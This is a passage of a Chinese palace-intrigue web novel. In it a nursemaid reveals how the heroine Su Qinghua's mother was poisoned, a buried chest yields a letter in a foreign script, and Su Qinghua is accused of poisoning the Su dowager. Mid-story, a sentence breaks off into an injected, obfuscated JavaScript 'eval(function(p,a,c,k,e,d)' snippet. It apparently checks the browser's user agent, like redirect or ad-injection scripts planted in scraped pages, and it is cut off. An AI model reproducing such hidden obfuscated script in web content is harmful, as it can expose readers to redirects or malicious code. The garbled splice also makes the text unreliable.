说完,孔嬷嬷走到苏清华面前,跪倒在地,说:“老奴孔嬷嬷,乃是清华公主亲母的贴身丫鬟,老奴此生有机会见到小小姐,算是了了一个心愿,老奴叩谢小小姐隆恩。” 苏清华听到对方的身份,也是一惊。 没想到她竟真的活着。 她随手扶起孔嬷嬷,见她脸上尽是皱纹,显然这几年过的并不舒心,最主要她看她的眼神里,全是愧疚。 “你即是慕婉的丫鬟,又如何能证明苏赫的身份?”张彩蝶语气不善问道。 “我记得那时,张夫人还未嫁入苏家,不过倒是经常来苏府,与老夫人相交甚好,又是送吃的,又是送喝的,倒是比我们小姐这个正经媳妇还上心。” “小姐向来聪明,心思细腻,早就看出你的不对劲,于是便暗中防范与你,只是任是小姐冰雪聪明,她也没想到,你一个世家大族的小姐,竟志在嫁入苏府。后来更是趁着小姐生产之计,联合老夫人给小姐下毒。” “玉蝶与玉盏二人,虽尽全力将我送出府去,可她们却死在了苏府侍卫的刀下。我出去之后,便想着先找大夫与产婆给小姐接生,没想到我找遍整个赵阳都城,却没人敢去苏府为小姐接生,我实在走投无路,只好走出赵阳城,想着到城外的万国寺,找弘一大师帮忙,只走到半路,却遇到侍卫的截杀,这侍卫不是苏府的,却是张府的侍卫,若不是我福大命大,恰巧跌入一个河流,仗着水性好,逃过了追杀,如今又怎会有机会,将当年真相全部托出?” “我自水中出来,便走小路来到万国寺,求见弘一法师,请求其去救小姐,弘一法师掐指一算,说孩子已经出生,小姐却已惨遭不幸,没有再救的必要。” “我听到此话心如死灰,只想着死也要与小姐死在一起,想着重新回到苏府。弘一法师却阻止了我,他说此时返回苏府,必是死路一条,他不能看着一个人,眼睁睁的赴死。” “恰在此时,珍姨娘也来到了万国寺,她给我跟弘一法师讲明苏府发生一切,老夫人如何用小小姐,逼迫小姐服下**,又如何让人将剩下的几口**,逼她服下,幸好他服用的药量有限,这才趁乱跑出来。” “我看着珍姨娘说话越来越慢,语调越来越轻,便请求法师救她性命。法师却说,她虽服毒的剂量有限,奈何**之后又大力奔波,毒已进入心脉,无法医治。” “最终我亲眼看着珍姨娘,身体越来越冷,七窍流血,死在了我跟弘一法师面前。” 说到这里,孔嬷嬷年迈的脸庞上,挂满了泪珠。 “我又求弘一法师为我家小姐做主,他却摇了摇头,说此事已成定局,他也无法逆转。况且他已步出红尘,不能随意插手红尘之事。我家小姐就这样,死的不明不白,害的我家小小姐,自小出生,便生长在继母手中。” 说到这里,孔嬷嬷更是悲痛,大声的哭了出来。 苏清华虽已基本猜出真相,此时亲耳听到生母的贴身丫鬟诉说,心中也不由悲痛,不止是为生母悲痛,也是为珍姨娘知恩图报,却惨遭灭顶之灾悲痛。 现场的夫人,很多也默默流泪,原来张彩蝶刚才说的,竟是真的,苏老夫人一日之间,连害两人,而且两人还都为苏家,生育过子嗣。 秦静姝更不用说了,她听闻苏赫生母,死的竟如此悲壮,也是即心疼珍姨娘,也心疼苏赫与苏清华。 “这只能说明珍姨娘没有私奔,并不能说明苏赫血脉没问题。”就在众人沉浸在悲痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“苏大公子是苏家血脉,百分百确定无疑,就连弘一法师,都可以作证,日后若是听到别人敢质疑,我必当面反驳。”一位夫人十分机灵,立刻跟苏清华保证。 “嗯,大家都散了吧。” 苏清华一声令下,众人面露欢喜,对着她躬身一礼,才依次离开。 苏清华今天也累了,便招呼着秦静姝一起回家。 “我送你们吧,正好顺路。”宋墨渊开口。 于是三人一起往公主府的方向而去。 “估计府上已备好晚膳,不如今日还是一起?”苏清华开口问道。 同时她心里暗想:省的每日还得翻墙... 宋墨渊见她主动邀请,哪有拒绝的道理?心里乐开了花,不过面上却仍是一脸淡然,不熟悉的还以为他并不情愿。 只有碧山站在他身侧,看清了他差点压不住的嘴角。 秦静姝见状,找了个理由没有进门,直接离开,回了秦府。 宋墨渊跟着苏清华进了府,最后来到主厅。 苏清华一声令下,丫鬟们瞬间便将饭菜端上来。 宋墨渊看着那一大碗桃花粥却不由皱起眉头。 苏清华见他皱眉,开口问道:“怎么了,宋公子菜色不满意?” 宋墨渊轻轻摇摇头。 苏清华立刻亲自盛了一大碗桃花粥,放到宋墨渊面前。宋墨渊左手拿起白玉碗,右手执起羹勺,便要将那桃花粥送入口中。 碧山急的差点冲上去,却被宋墨渊一个眼神制止。 两个人虽动作优雅,可吃的并不多,很快便食用完毕。 “宋公子今日怎会去苏家?”苏清华开口问道。 “没什么,我这几日一直找人盯着张家,张之熊那边倒是少有动作,可张彩蝶一直暗中有很多小动作。我探查到她这几日多次与吴峰接触,又听闻她今日竟然大摆花宴,便知道她宴无好宴,于是便找到那赌坊的老板,前去揭了吴峰的老底。” “多谢宋公子出手相助。作为回馈,我也要给你一份礼物!” “什么礼物?”宋墨渊一脸期待。 “就是刚刚那碗桃花粥。” “什么?”宋墨渊并不是失望,而是好奇,他实在不懂苏清华的意思。 “你喝了那碗桃花粥,没觉得有什么奇怪的地方?” 宋墨渊轻皱眉头,仔细回忆,实在想不出有什么特别的。 “宋公子服用了跟花粉有关的东西,可感觉有异?”苏清华又问。 宋墨渊听闻苏清华如此问,恍然发现,他今日食用了那么一大碗桃花粥,竟好似身上并未异处。 “你什么时候给我治好的病?”宋墨渊问。 “我前几日让碧山给你的药丸,里面我放了前年灵芝的孢子粉,它除了能提高内力,也可以清除身体杂质,增强免疫力,只要你将那些药丸全部服用,以后你便可以放心食用任何东西,除了毒药...” “多谢。”宋墨渊并没有追问,她何时知道他过敏的事。 “不必客气,毕竟你也没少帮我。”苏清华也没有过多解释。 两人相视一笑,屋内气氛异常和谐。 用过晚饭,宋墨渊还有事,便先行离开了。 “天五。”苏清华一声令下,天五便出现在她面前。 “你今日是如何遇到孔嬷嬷的?” “回禀公主,我前几日就接到太子消息,孔嬷嬷会来赵阳都城,我估摸着今日差不多便可以到,今日您让我去找证据,我便出城去迎,果然遇到了她,便将她带到了苏府。” “你的意思是,你早就跟孔嬷嬷认识,甚至太子哥哥也认识孔嬷嬷?” “是,我知道公主必有很多疑问,不如您亲自问过孔嬷嬷。” 孔嬷嬷此次也跟着苏清华回了公主府,只是刚才宋墨渊在,苏清华便安排翠竹给她安排住处。 “翠竹,将孔嬷嬷叫过来,我有话问她。” “是。” 苏清华右手扶额,将今日发生的事,好好理了一遍,想着一会儿该问孔嬷嬷什么问题。 一见到她,便再次跪倒在地。 “小小姐,老奴有生之年,能活着见到你,真是上天垂帘。” 苏清华挥了挥手,让她站起身,然后问道:“你这几年去了哪里?” “回禀小小姐,老奴不敢欺瞒您,我去了天韶!” “天韶?你为何会去那里?你是如何认识太子哥哥的?” “因为小姐是天韶人,我要送小姐回家!当年我听了弘一法师的话,没有返回侯府,等到小姐被埋葬那天,我夜里偷偷去了苏家家庙,打开了小姐的墓地,将小姐接出来,带着她返回了天韶。” “什么?你的意思是,娘是天韶的人?”苏清华眼睛睁得浑圆,一脸震惊道:“还有,你的意思是,你偷偷将娘的尸骨偷了出来,带着她尸骨回到了天韶?” “不错,我确实将小姐带回了家。” “那现在墓地里是谁的尸骨?”苏清华一脸疑问。 她重生之后,第一件事就是开棺验尸,所以知道棺材里是有一副尸骨的,关键那尸骨也是中毒而死。 等等...中毒而死... “难道现在在苏家墓地的,是珍姨娘的尸骨?”苏清华惊奇的问道。 “小小姐猜的没错,当时是小姐帮她进入苏家,又请弘一法师确认了大公子的血脉,让他可以名正言顺的上族谱,甚至得到老侯爷的亲自培养,她为了报答小姐,关键时刻,她挺身而出,不仅让您顺利出生,还及时阻止小姐喝药...” 说到这里,孔嬷嬷忽然停了下来,抬头看了一眼苏清华。 苏清华正好在看着她,两人目光相遇,苏清华从孔嬷嬷眼中,看到了深深的感激,甚至还有一丝心虚... 孔嬷嬷被苏清华目光一注视,心里不由一紧,急忙地下头,深呼了一口气,才继续说道:“虽然小姐最后还是遭遇不幸,可小小姐起码活了下来,所以珍姨娘也算对小姐有大恩之人,我亲眼见她去世,不忍她死后尸骨无人祭拜,便擅自做主,将她葬放进了苏家祖坟。” 苏清华看着孔嬷嬷心虚的样子,心里不由错愕。 第一百四十三章 “珍姨娘本就是苏家的姨娘,苏洵当年虽被迫接纳她入府,可内心却从未真正接纳她,她如今能躺进苏家祖坟,也算全了她的心愿。如今大哥当了靖远侯,她更是本就应该,受苏家世代后人的香火供奉。此事我一会儿便会书信一封,给远在边境的大哥,若是大哥知道真相,内心必会多谢嬷嬷当年之举。”苏清华以为孔嬷嬷是为此心虚,便出言安慰。 孔嬷嬷见苏清华不仅发现她的异样,还细心的出言安慰,她不由瞬间泪流满面:“小小姐,您冰雪聪明,又慈悲善良,与小姐年轻时候简直一模一样,老奴内心实在惭愧万分,当年我未能返回苏府,救出小小姐,害得小小姐在苏家受了这么多年苦,如今我重返赵阳,便是想当面向小小姐赔罪,请小小姐责罚。” 苏清华见孔嬷嬷哭的真切,不由也深受其感染,眼神变得湿润起来:“孔嬷嬷不必自责,你本就是我娘的丫鬟,而不是我的丫鬟,你当年选择带娘亲回家,而没有重回苏府,也是理所应当。况且弘一法师说过,当年你返回苏府,必是死路一条,如今你能来到我身边,多给我讲讲娘的事情,我也非常开心,最关键的是,如今我也有了能力,必会保你安全无虞。” “有生之年,能够见到小小姐已是万幸,如今见小小姐能够独挡一面,老奴更是死而无憾,老奴现在唯一的心愿,便是能够带小小姐去天韶,让你们母女能够相见。” “先前我不知苏家祖庙埋的已不是娘亲,不过,珍姨娘亲手将我接生到这个世上,我跪拜她16年也是理所应当,如今即已知娘亲已返回天韶,我必要亲自到她坟前磕头,只是我尚有一个疑问,娘亲到底是什么身份,又为何会来到赵阳,嫁进苏家?” 孔嬷嬷闻言,面露难色,最后她出言道:“小小姐,老奴不想骗您,可现在还不是告诉你真相的时候,你若是有机会离开赵阳城,真的可以去到天韶,一切真相便会大白。” 孔嬷嬷心中不由叹息:她何尝不想立即将真相告知小小姐,可太子殿下说过,在她可以安全离开赵阳城之前,先不要告诉她真相,免得她回天韶之心急切,再有其他危险。 苏清华见孔嬷嬷很是为难,也没有再追问,反而安慰道:“我早晚是要回天韶的,在这之前,我会尽快将这里的事情了解,嬷嬷若是不急着回去,便先在府中留下,以便经常给我讲讲娘的故事。” 孔嬷嬷再次行了一礼:“能够陪伴小小姐,是老奴的荣幸,另外,太子殿下也已为你回天韶,正在做准备,相信不久,小小姐就有机会可以回到天韶,与小姐相聚。” 苏清华见孔嬷嬷万分期待,又暗藏急切的眼神,总觉得好似哪里怪怪的? 娘亲到底什么身份?好似太子哥哥也认识娘,太子哥哥当时认她做妹妹,难道跟娘有关? 苏清华有很多疑问,可她并不想为难孔嬷嬷,况且张家的事,她还没有彻底解决,便先将此事暂放一边吧,她相信与张家的恩怨,很快就会有个了结,在赵阳的一切,也很快会结束,到时候,她会亲自到天韶,寻找真相。 万庆殿。 宋墨渊倚靠在赵阳帝左侧的檀木椅子上,手里把玩着折扇上的墨色玉珠,神色悠然自得。 江全看着正眯眼沉思的赵阳帝,内心暗忖:敢在赵阳帝面前如此自在的,除了宋墨渊,赵阳城便没有第二个人了。 “渊儿,你说,张家这么急不可耐,想拉苏赫下台,到底是为了侯府爵位,还是想阻止苏赫调查粮草之事?” “舅父刚刚封苏赫为靖远侯,张家即使想拉苏赫下台,也不应该挑在这个时候,这不仅是在与苏赫为敌,更是在公然打您的脸。张家如此急迫,随便找出一个满是漏洞的吴峰,想通过混淆苏赫血脉,再利用赵阳城的舆论,拉苏赫下马,张家如此狗急跳墙,只能说明边境那边,根本经不起查。” 赵阳帝闻言,微微点头。 张之熊的为人,他还是了解的,向来是心机深沉,犹如深潭之水,让人难以窥探其内心。他行事向来谨慎,从不随意出手,一旦出手,便是一击必杀。 可是此次张家的做法,明显是急躁了点。 “那太子到底是什么态度?”赵阳帝手紧紧抓着龙椅的把手,神情严肃的问。 宋墨渊将折扇缓缓打开,思索了片刻,方才开口:“太子一直在试图将苏赫血脉之事闹大。” 宋墨渊只陈述了事实,没有做任何评价。 舅父虽对他偏爱,可事关太子之事,他并不想过多参与。 “他竟真的选择,在这个时候站队张家?这即说明他性情急躁,又能说明,太子做事如此急功近利,我如何能放心将社稷交到他手上? 宋墨渊拿起茶碗,轻轻嘬了一口,并没有附和赵阳帝。 “太子如此,便是因为经历的磨炼太少,他自出生之后,便被封为太子,我身后的子嗣单薄,除了他,便只有不成器的大皇子,与年幼的三皇子。”赵阳帝闭目冥思,手指不由在檀木桌面的轻叩。 大约过了一盏茶的功夫,他方才继续开口:“我想让大皇子前去边境,一是为了监督边境各方,二也是为了给太子一点压力,此事你觉得怎么样?” “大皇子自从被清华公主教训一顿,确实悔悟了不少,让他多历练一下,不止是对太子,甚至整个赵阳都是很好的决策。”宋墨渊坚定的开口的附和。 他内心深处,确实觉得,若是大皇子能够争气,在军队站住了脚,对赵阳是大大有利的。 当然他也有一个私心,大皇子自从那日之后,日日往苏清华府上送东西,人也是经常往那跑跑,虽是苏清华鲜少见他,可即便如此,他心里也不是滋味。 若是他真的去了边境,至少可以还苏清华一个清静。 第一百四十四章 童年宝箱 “江全,你立刻拟旨,封大皇子为大都督,让他太后寿宴之后,便起身前往边境,负责监督边境一切事宜。” “是。” “渊儿,此事你不可透露给任何人,因为在此之前,我还要考察大皇子一番,另外十日之后,便是太后六十大寿,这是太后整寿,我想给她好好庆祝一番,一是为了显示我对太后的孝心,二是为了缓和最近都城紧张的氛围,趁机麻痹张之熊,在这期间,还得辛苦你,好好盯着张家,只要他们露出马脚,你要立刻想办法抓住证据,让张家主动交出兵符。” 宋墨渊微微点头答应。 翌日,秦府,秦静姝院子。 秦静姝听见丫鬟禀报,清华公主来了,她又惊又喜,急忙起身,亲自迎接。 “清华妹妹,你今日怎么有空来找我玩?” “昨日你匆匆回府,我还没跟你玩够呢,今日我便主动找上门来了,你可得管饭呦。”苏清华在秦静姝面前,总是可以完全放松下来,就像前世她们两个在一起一样,虽是条件艰苦了些,可欢乐却一直都在。 “这个你放心,就妹妹这小鸟一样的饭量,别说管一顿,就是管上一年,我也管的起。”秦静姝也玩笑到。 有了苏清华的陪伴,她渐渐的找回了小时候的自我,不再谨言慎行,小心翼翼,而是更加敢于做自己。 这一生,有了苏清华这个好友,又如愿与苏赫定了亲,她觉得此生足矣。 苏清华给了秦静姝一个眼神,秦静姝立刻会意,将其他丫鬟打发下去,只留下绿晚。 “妹妹可是有事?”待房门关上,秦静姝看着苏清华的眼睛,认真问道。 苏清华小心的从袖中取出一个锦盒,将她交到秦静姝手中。 秦静姝打开盒子,只见一段黑色的指骨,她不由一愣,不解的看向苏清华。 “这是珍姨娘遗骨的一部分。”苏清华将孔嬷嬷告诉她的真相,转而告诉秦静姝。 “什么?原来躺在苏家祖坟的,正是苏大哥的亲生娘亲?”秦静姝双目瞪大, 不可置信道。 “正是,大哥早就有预感,珍姨娘已不在人世,只是一直遗憾,找不到她的尸骨,如今尸骨已找到,并且让人欣慰的是,珍姨娘并没有曝尸荒野,而是安好的躺在苏家祖坟,更让人欣慰的是,苏大哥每年都会去祭拜珍姨娘。”苏清华感叹一声。 “是呀,咱们把这个消息,尽快告诉苏大哥吧。”秦静姝建议道。 “我也正有此意,只不过我身份特殊,盯着我的眼睛太多,不好直接给边境通信。” 苏清华一解释,秦静姝立即明白她的意思,接口道:“我会在给我外祖家写信的时候,偷偷的一起发出去,中间再让我外祖想办法将信送给苏大哥。” 秦静姝看了看手中的骸骨,说:“到时候将这骸骨一起送去,也算给大哥一个念想。” 两人商量好了对策,便坐下一起喝茶。 “对了,说起大哥,我忽然想起来,你们不是在院子里埋了东西?不如今日我们挖出来瞧瞧,到时候将里面东西一起寄给大哥,大哥必会更开心。” 苏清华与秦静姝蹲在一颗山楂树下,用锄头使劲的挖着地面。 “秦姐姐,你确定,当年的东西是埋在这下面吗?怎么挖了这么久,还没影子?” “我确定,这是我跟苏大哥一起埋的,所以我记得非常清楚。当年还是苏大哥亲手挖的坑呢。”秦静姝语气笃定。 “没想到,大哥年幼的时候,就如此傻气,为何要挖这么深的坑。”苏清华打趣道。 “苏大哥可能怕会被别人挖走,所以故意挖的深一点。”秦静姝急忙帮解释道。 “哎呦,秦姐姐又维护上大哥了。”苏清华不由轻笑出声。 秦静姝脸色微红,轻轻推了苏清华一下,说:“妹妹,你又欺负我。” 苏清华被她推了一下,没有恼火,反而笑的更加大声。 秦静姝见她笑的大声,生气的拿起锄头,使劲的朝着地下,刨了起来。 刨了五六下,手忽然被一股反作用力,震了一下。 “妹妹,你看,我好像挖到了。”秦静姝指着洞中一个黑色铁箱子道。 “太好了,姐姐先休息一下,让我取出来。” 苏清华仔细的将那箱子周围的土铲掉,然后将整个箱子搬出。 只见这箱子已锈迹斑斑,甚至有些地方已被锈蚀,显然年头已久。 那箱子上面挂着一把金锁,与箱子的不堪形成强烈对比,它仍是金灿灿的,仿若昨天才刚放进去的,苏清华使劲拽了拽,锁却纹丝不动。她不由皱眉,刚才她这一拽,暗含了内力,这锁竟如此坚固。 “妹妹,我这里有钥匙,还是我打开吧。”秦静姝自贴身荷包取出一把精致的金钥匙。“这锁是皇家工坊制造的,说是没有钥匙绝对打不开,并且可质保百年。” “姐姐,看来你对这箱子,倒是宝贝的很,竟用这么精贵的锁。” 秦静姝闻言,刚刚好转的脸色,迅速又红透了。 那是她最快乐的时光,她觉得将这个箱子锁住,好像便锁住了美好的时光,同时她心里也算留个念想,她与苏赫虽不能在一起,起码她与苏赫大哥的东西,永远锁在了一起。 如今赵阳帝已赐婚她与苏赫。 此时将箱子挖出来打开,就像是为了庆祝他俩,终于可以走到一起。 秦静姝一边回忆往昔,一边亲手将箱子打开。苏清华跟着她动作一起,看向箱子里面。 只见箱子里躺着 最下面压着的,是一本孙子兵法,那兵书已明显泛黄。 苏清华小心取出,快速的翻阅,当翻阅到正中央,里面赫然夹着一封信纸。 苏清华轻轻将信纸打开,只见上面写着的文字,并不是赵阳常用的文字。 “这是天奴文字。”秦静姝站在一边言道。 苏清华抬头望向秦静姝,眼神里带着疑问:“你确定?” “我确定,这些字我虽认不全,可却断定这是天奴字无疑,”秦静姝手指着其中一个字,说:“这个是个人。祖父第一个教我的天奴字,便是这个字。” “你的意思是,老秦相认识天奴字?” 第一百四十五章 谁是凶手? “没错,祖父不止认识,还有曾亲手写过一本,天奴与赵阳字一一对应的书,可以方便查看学习。” 苏清华听闻此言,眼里透出喜色:“你可以帮我拿到这本书吗?最好先别让老秦相知道。” “没问题,这本书就在祖父书房,而且祖父曾说过,他书房的书,我可以随便拿。不过此时祖父必定在书房,要想瞒着他,需再等一个时间。” “好,此事最好尽快。我怀疑这封信,便是张之熊私通外敌的证据。” 秦静姝闻言也是一惊,随后重重的点点头:“放心吧。我派人去祖父书房门口守着,只要他离开书房,我便去取。” 她虽不知苏清华为何瞒着祖父,可她相信苏清华,所以并没有多问。 “不好了!不好了!”秦静姝的一个丫鬟,慌慌张张的跑过来,嘴里还大声吆喝着。 “清华公主在此,何事如此慌张?”秦静姝厉声问道。 她虽是待人宽厚,并不意味着手下可以肆意妄为,除非她有十足的理由。 “我刚听到去外面采购的李嬷嬷说,苏府的老夫人死了。”那小丫鬟神色慌张的说。 秦静姝闻言,微微皱眉,说:“她死了便死了,你何必如此紧张?” 老夫人前几天刚陷害玩苏大哥与苏清华,她对她的死并没有太多感觉。 “张夫人从苏府一路三拜九叩,跪求到皇宫门口,口里还说着,是清华公主为报杀母之仇,毒害了苏老夫人,现在正在皇宫门口,击鼓鸣冤,让皇上给老夫人的死做主呢。” “什么?”秦静姝此时方才知道事情的严重性,着急的站起身来,问:“此事你可确定?” “李嬷嬷说如今都城都在讨论此事呢,他们中大部分人,都认同老夫人之死,十有八九是清华公主所害,毕竟杀母之仇不共戴天,别说是公主,便是普通人知道了,也不会放任不管呀!” “妹妹,你说皇上会接手此案吗?”秦静姝转身问苏清华。 “张彩蝶利用百姓制造舆论,便是逼皇上不得不接!” 苏清华眼神透出一丝了然:“那日她故意将当年之事说出,原来竟是早有预谋,为了便是借老夫人之死,陷害我。” 苏清华当时还略有不解,那日她的主要目的,明显是用吴峰陷害苏赫血脉,在这之前,故意将老夫人叫出来,又将自己当年爱上有妇之夫讲出,实在是蹊跷的很,若是苏清瑶也倒罢了,可张彩蝶这样做,便有些不合理。 当时苏清华虽有疑虑,可张彩蝶道歉之后,便立刻召唤出了吴峰,她还未来的及想明白真相,如今她才算真正明白了她的意图。 “妹妹的意思,那苏老夫人今日之死,早已注定,竟是张彩蝶为了陷害妹妹,故意让她出来作证,趁机说出她害死你生母之事,为的就是今日诬陷你害死苏老夫人?” “苏老夫人虽如今身体弱了些,可大哥命人每日用人参养着,怎么也能赖活上几年,如今忽然死去,必是张彩蝶下了毒手。” “欲加之罪何患无辞,我相信皇上必定会给你一个清白。”秦静姝出言安慰道。 “清不清白,不在我到底做没做这件事。”苏清华眸色深沉,说:“在与赵阳帝是否想让我清白!” 张家既然敢公然求到皇上面前,必是已做好了完全的准备。 张家只怕会有更厉害的后招等着她。 秦静姝压低声音,小声说道:“赵阳帝便是想颠倒黑白,也要看群臣是否答应!” 张家敢利用百姓给皇上施压,祖父自然也可以利用群臣给皇上施压。 不管如何,她必会拼尽全力,保护苏清华。 “姐姐的心意我明白,此事先不急着老秦相出马,若是需要的时候,我必不会跟姐姐客气。” 苏清华暂时不想让老秦相参与,虽然秦静姝与大哥已定亲,已然是一条船上的人,可不到万不得已,她不会让老秦相这么明显的站队。 “妹妹打算怎么办?” “苏老夫人死了,苏洵作为她唯一的儿子,有权利知道这件事,我先去会会他,毕竟他对张彩蝶的仇怨,并不比我少,若是他再知道了,苏老夫人也被张家害死...” “那妹妹去忙吧,等我拿到那本天奴字典,会派绿晚第一时间送到公主府。” 苏清华点了点头,带着翠竹她们离开了秦府,直奔关押苏洵的牢狱。 苏清华在牢狱并没有久留,与苏洵只谈了大约一盏茶的功夫,便匆匆返回府中。 苏清华刚在大厅坐下,江全便在外求见。 “让他进来吧。”苏清华吩咐李嬷嬷。 “老奴参见清华公主。”江全礼数周全,见了苏清华便恭敬行礼。 “江公公伺候皇上,事务繁忙,今日怎么有空来我府上?” 江全微一沉吟,眼神躲避,道:“今日苏老夫人忽然去世,张夫人跪求在宫门门口,请求皇上彻查苏老夫人死因,赵阳城百姓受她蛊惑,亦一起跪在宫门门口,皇上为了不引起恐慌,只好答应了这个请求。” 江全一直微低着头,见上面没有回应,眼神不由向上看去。 只见苏清华一脸淡然,好似此事与她完全无关,她也并不关心此事。 “由于张夫人口口声声说,老夫人之死与清华公主有关,为了避嫌,请清华公主这几日留在府中。” 江全说完这句,见苏清华仍是没有反应。 他继续说道:“请清华公主放心,皇上深信清华公主,留在府中只是暂时的,皇上必会还您一个清白。” “知道了。” 苏清华语气淡淡的回复道。 “杂家还要回去复命,便不打扰公主休息了。” 说完这句,江全便立刻转身离去。 他到了别的大臣府中,哪个不是进献殷勤,像苏清华这么冷淡,这还是头一次。 可他并不敢多言,毕竟这位身份不一般,即便是皇上,也不敢轻易得罪。 否则皇上也不会派他亲来。 翠竹见李嬷嬷亲自指引着江全,走出了院子,她紧皱着眉头,急切的问:“小姐,皇上这是什么意思?这不就是变相的圈禁吗?难道他真信了张彩蝶的话?” 第一百四十六章 宋父逼问 “我前几日打了大皇子,这就相当于打了整个赵阳皇族的脸,他表面上痛斥大皇子,内心深处不知怎么恨我,如今好不容易逮着机会,可以趁机报复我,他又怎能不趁机找回点颜面?” “那怎么办?我们要不要给太子殿下传信?”绿辰满是急切问道。 “还不至于,两国好不容易平息战乱,不到万不得已,我不想让两国继续交恶,否则正中天奴人的下怀,那便得不偿失!” 苏清华语气仍是往日的平淡,并没有太多急切。 两个丫鬟见状,知道主子自有打算,便没有再多问。 到了晚膳十分,翠竹低声问苏清华:“小姐,现在要摆膳嘛?” 苏清华眉头一皱,满脸疑问,不解其意,说:“皇上让我留在府中,不准出门,可没说让我不准吃饭吧?” 翠竹见苏清华误会,急忙解释:“宋公子还没过来。” 已经连续几日,宋墨渊都会早早过来,准备在府中用膳,有时候甚至会中午便提前预约晚上的菜系,今日天色已晚,宋墨渊却一直没出现,翠竹才会有此一问。 苏清华一直在思索如何解当前困局,根本没注意到这个细节。 经过翠竹提醒,苏清华才恍然发现此事,她点点头,说:“那晚膳便先缓一缓,我正好我肚子还不饿。” 翠竹领命而去,下去安排厨房,将饭食先放在蒸锅里温着,听从苏清华吩咐,随时准备上菜。 可又过了半个多时辰,仍不见宋墨渊人影。 一向稳重的绿辰也开始着急,说:“小姐,宋公子不会是,看你如今被软禁,自动避嫌,以后不会再来了吧,我刚刚跃到树上看了,隔壁府里灯火通明,不像主人不在的样子。” 苏清华放下手中的孙子兵法,看了看外面的天色,已然全黑。 她开口道:“那倒不至于,他不是这样的人,可能被什么事绊住了,我去瞧瞧吧。” 苏清华随即起身,信步走到相邻的院墙,轻轻一跃,飘然便来到隔壁的长公主府。 她慢慢的往宋墨渊书房走去。 今日是初一,天上又乌云密布,幸好府里的灯笼多,挂的比较密集,借着灯笼的亮光,她才不至于迷路。 走了大约一盏茶,终于看到了宋墨渊的书房,只是还未等她靠近,便听到里面声音嘈杂,有明显争执的声音。 “你把你弟弟到底藏到哪里去了,他胆子小,只怕会吓得不行,你赶快把他放出来吧?”一个老妇人的声音传来。 苏清华听那声音洪亮有力,比一般老妇人,明显中气十足许多。 她对宋墨渊的身世还是有所了解的,一下便猜出,这老妇人,恐怕就是宋墨渊的亲生祖母。 在这赵阳都城,恐怕也只有她,敢如此跟宋墨渊说话。太后虽是不喜宋墨渊,可表面上也要装作慈爱的样子的。 “自上次他自己钻狗洞入府,我就再没见过他,更不可能将他藏起来。你们找错地方了!”宋墨渊声音冷淡,听不出喜怒。 那老妇人声音再次传来:“祖母求求你,你放过他吧,你什么都有,可铭儿什么都没有,只有我跟你父亲两个亲人罢了,你又何必跟他过不去?” “我最后说一次,我没见过他,碧山送客。”向来清冷的声音,此时也夹杂着些许怒意。 “请你们立刻离开,否则我不客气了。”碧山看出主子的不耐,立刻依照他的吩咐行事。 “渊儿,铭儿的娘已经死了,她是曾经做错过事,可她已经将命都还给你了,铭儿从未做错任何事,你为何就不能给他一条生路?” 一个男子的声音传来,声音里尽是对宋墨渊的埋怨。 苏清华立刻猜出,这就是宋墨渊的亲生父亲,当年名震一时,长公主屈身下嫁的探花郎-宋景泽。 “我有什么理由,要将他抓起来?”宋墨渊反问。 “因为你恨他,恨他的出生,连累了你的名声,恨他娘对你下手,恨我对他的关注比对你多,可是这些都不是铭儿的错,他是无辜的呀!” 宋景泽这句话说完,屋子里是长久的沉默。 沉默片刻之后,不待宋墨渊回答,宋景泽的声音再次传来:“铭儿他向来乖巧懂事,他娘亲去世之后,他更是每日老老实实呆在家里,从未得罪过任何人,可自从前日他出门之后,就再也没有回来,如果不是你抓了他,京城里还有谁会跟他过不去?算父亲我求你了,虽说我没你地位尊贵,可毕竟是你父亲,又从未做过对不起你的事,你就给为父一个面子吧?” “呵,没有对不起我?在我刚出生不久,便给我填了弟弟,然后任由那个女人,多次对我下手,这便是你说的,没有对不起我?”宋墨渊向来清冷的脸上,此时满是伤痛。 在这赵阳城,能够伤他的,向来是他有着相同血脉的亲人。 他们总是能一针见血,刺向他最柔软的地方。 他虽是从小习惯了,在自己身上铸造带刺的铠甲,让一般人不敢靠近。 可这铠甲一旦遇到宋家人,尤其是宋父,便失了效用。 宋父脸上满是震惊:“你果然一直在怨我,在你心中,是不是一直将我是你的父亲,引以为耻?你看不见为父的不易也倒罢了,毕竟你高高在上惯了,要什么都会有人给你乖乖奉上,体会不到普通人的难处,可没错,你为何不能心中宽广一点,给铭一条生路呢?你到底想怎么样,难道非得我跟你祖母跪在你面前,你才肯放过铭儿?” “你有什么证据是他抓走的他?你既然是他的父亲,便应该知道,他向来敢作敢当,断然不可能做了不承认,你如此逼他,难道是想逼死他? 苏清华实在听不下去了,使劲的将门推开,大步走向宋父,反过来质问道。 “大胆,你又是谁?胆敢擅闯长公主府,是不要命了吗?”宋景泽说道,俨然一副主人家世。 “我便是清华公主。宋大人有何指教?”苏清华勾唇一笑,眼里的冷意却让人不由胆颤。 第一百四十七章 邪祟作祟 “是你...?”宋景泽一脸疑问的问:“你不是被皇上软禁在府里,圣上罚你不得擅自出府,你为何会来到这里?” 苏清华微微一笑:“宋编修倒是消息灵通,只是我刚刚在隔壁府中溜达,远远地,便看着大公主府内,被两大片乌云笼罩,像是有邪祟作祟,于是便前来看看,别让宋公子被邪祟欺负了。” “你还会看这些?清华公主,那麻烦你帮我家铭儿看一看,他被绑到了哪里?已经连着两日了。他可有受伤?又是否有受冻挨饿?” 站立一旁的王氏,也就是宋墨渊的祖母开口说道。 “娘,你别听她胡说,她这是在骂我们呢,她的意思是,我们就是那邪祟,在这欺负渊儿。”宋景泽见王氏开口,立刻出言阻止她,继续给苏清华说孙启铭的八字。 王氏听闻儿子指明,方才明白苏清华的讽刺之意。 她刚才是想真心求助苏清华,如今希望落空,她不由恼羞成怒,掐着腰,指着苏清华怒骂:“什么?你年纪轻轻的小姑娘,怎会如此不懂规矩?竟敢骂我这个老太婆?你是哪家的孩子?报上你长辈的名字,我即刻去找你家大人问个清楚。” 王氏刚才一心想着小孙子的事,没听到苏清华的自我介绍,只以为她是普通官家女子。 王氏在宋墨渊这虽不得重视,可在这都城之内,仗着宋墨渊祖母的身份,也是没人敢轻易得罪的。 